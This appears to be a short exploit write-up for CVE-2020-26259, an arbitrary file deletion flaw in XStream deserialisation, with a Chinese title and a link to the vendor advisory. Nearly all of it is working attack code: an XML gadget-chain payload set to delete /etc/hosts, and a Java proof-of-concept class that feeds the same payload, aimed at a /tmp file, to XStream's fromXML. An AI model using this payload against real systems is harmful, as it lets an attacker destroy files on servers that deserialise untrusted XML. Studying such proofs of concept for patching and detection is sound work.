# CVE-2020-26259 XStream 任意文件删除

PoC：

```
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
              <tempFile>/etc/hosts</tempFile>
            </is>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

XStream xstream = new XStream();
xstream.fromXML(xml);

```

https://x-stream.github.io/CVE-2020-26259.html

**CVE_2020_26259.java:**

```java
import com.thoughtworks.xstream.XStream;

/*
CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
when unmarshalling as long as the executing process has sufficient rights.

https://x-stream.github.io/CVE-2020-26259.html

Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
 */

public class CVE_2020_26259 {
    public static void main(String[] args) {
        String xml_poc = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
                "              <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +
                "            </is>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";

        XStream xstream = new XStream();
        xstream.fromXML(xml_poc);
    }

}
```